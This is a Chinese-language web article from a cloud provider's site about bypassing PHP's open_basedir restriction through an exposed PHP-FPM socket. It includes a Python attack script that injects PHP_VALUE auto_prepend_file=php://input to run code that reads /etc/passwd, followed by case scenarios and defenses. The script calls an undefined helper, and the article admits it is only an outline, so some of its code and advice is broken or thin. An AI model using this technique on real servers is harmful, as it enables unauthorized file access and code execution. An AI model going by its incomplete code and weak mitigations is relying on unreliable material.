温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

怎么利用PHP-FPM实现绕过open_basedir

发布时间:2021-08-09 21:50:04 来源:亿速云 阅读:261 作者:chen 栏目:网络安全
# 怎么利用PHP-FPM实现绕过open_basedir ## 前言 在PHP安全配置中,`open_basedir`是一个重要的安全机制,用于限制PHP脚本只能访问指定目录及其子目录的文件。然而,在某些特定场景下,攻击者可能利用PHP-FPM(FastCGI Process Manager)的特性绕过这一限制。本文将深入探讨这一技术原理、利用方法及防御措施。 --- ## 目录 1. [open_basedir机制概述](#1-open_basedir机制概述) 2. [PHP-FPM基础与工作原理](#2-php-fpm基础与工作原理) 3. [绕过open_basedir的技术原理](#3-绕过open_basedir的技术原理) 4. [具体利用方法](#4-具体利用方法) - 4.1 [环境搭建与复现](#41-环境搭建与复现) - 4.2 [利用PHP-FPM的FastCGI协议](#42-利用php-fpm的fastcgi协议) - 4.3 [通过UNIX Socket通信](#43-通过unix-socket通信) 5. [漏洞利用的实战案例](#5-漏洞利用的实战案例) 6. [防御与缓解措施](#6-防御与缓解措施) 7. [总结](#7-总结) --- ## 1. open_basedir机制概述 `open_basedir`是PHP中用于限制文件系统访问的配置指令,其作用包括: - **目录隔离**:限制PHP脚本只能访问指定目录及其子目录。 - **安全防护**:防止目录遍历、文件包含等攻击。 ### 配置示例 ```ini open_basedir = /var/www/html:/tmp 

限制范围

  • 影响函数:fopen()file_get_contents()include()等文件操作函数。
  • 绕过难度:通常需要利用其他漏洞或服务配置不当。

2. PHP-FPM基础与工作原理

PHP-FPM是PHP的FastCGI进程管理器,常用于Nginx等Web服务器。其核心特性包括: - 进程池管理:动态分配PHP解释器进程。 - FastCGI协议:通过Socket(UNIX或TCP)与Web服务器通信。

典型配置(Nginx)

location ~ \.php$ { fastcgi_pass unix:/var/run/php/php7.4-fpm.sock; include fastcgi_params; } 

关键安全问题

  • Socket权限:若UNIX Socket权限配置不当,可能导致未授权访问。
  • 动态请求处理:FastCGI协议允许传递任意PHP参数。

3. 绕过open_basedir的技术原理

核心思路

通过PHP-FPM的FastCGI协议直接传递恶意参数,绕过Web层的open_basedir限制。

技术依赖

  1. PHP-FPM暴露:可通过UNIX Socket或TCP端口访问。
  2. 可控的FastCGI参数:如PHP_VALUEPHP_ADMIN_VALUE
  3. 配置错误:如open_basedir未覆盖/proc/self/等特殊路径。

攻击流程

  1. 构造恶意FastCGI请求,修改PHP配置。
  2. 利用chdir()ini_set()动态调整open_basedir
  3. 访问受限文件(如/etc/passwd)。

4. 具体利用方法

4.1 环境搭建与复现

目标环境

  • PHP 7.4 + Nginx + PHP-FPM
  • open_basedir = /var/www/html

漏洞验证

检查PHP-FPM Socket是否可写:

ls -l /var/run/php/php7.4-fpm.sock 

4.2 利用PHP-FPM的FastCGI协议

攻击脚本(Python示例)

import socket payload = """ <?php ini_set('open_basedir', '..'); chdir('/'); ini_set('open_basedir', '/'); echo file_get_contents('/etc/passwd'); ?> """ fcgi_request = { 'SCRIPT_FILENAME': '/var/www/html/index.php', 'PHP_VALUE': 'auto_prepend_file = php://input', 'REQUEST_METHOD': 'POST', 'CONTENT_LENGTH': len(payload) } sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock.connect("/var/run/php/php7.4-fpm.sock") sock.send(pack_fcgi_request(fcgi_request, payload)) 

4.3 通过UNIX Socket通信

关键步骤

  1. 通过PHP_VALUE注入PHP配置。
  2. 利用php://input执行任意代码。
  3. 递归跳出open_basedir限制。

5. 漏洞利用的实战案例

案例1:通过TCP端口暴露PHP-FPM

  • 场景:PHP-FPM监听127.0.0.1:9000,但防火墙规则错误。
  • 利用:直接发送FastCGI请求到9000端口。

案例2:Docker环境下的权限问题

  • 场景:容器内PHP-FPM Socket权限为www-data:www-data
  • 利用:通过其他服务(如SSRF)写入Socket。

6. 防御与缓解措施

安全配置建议

  1. 限制PHP-FPM访问
     fastcgi_pass unix:/run/php/php-fpm.sock; 
  2. 严格设置open_basedir
     open_basedir = /var/www/html:/tmp 
  3. 禁用危险函数
     disable_functions = exec,passthru,shell_exec 

监控与审计

  • 日志记录所有FastCGI请求。
  • 定期检查PHP-FPM进程权限。

7. 总结

本文详细分析了通过PHP-FPM绕过open_basedir的技术原理、利用方法及防御措施。这种攻击方式依赖于服务配置不当和协议特性,运维人员应重点关注: 1. PHP-FPM的隔离性。 2. open_basedir的覆盖范围。 3. 最小化FastCGI参数传递。

通过合理配置和持续监控,可以有效降低此类攻击的风险。


附录

”`

注:实际内容需根据技术细节补充完整代码示例和调试过程,此处为提纲式框架。

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

php
AI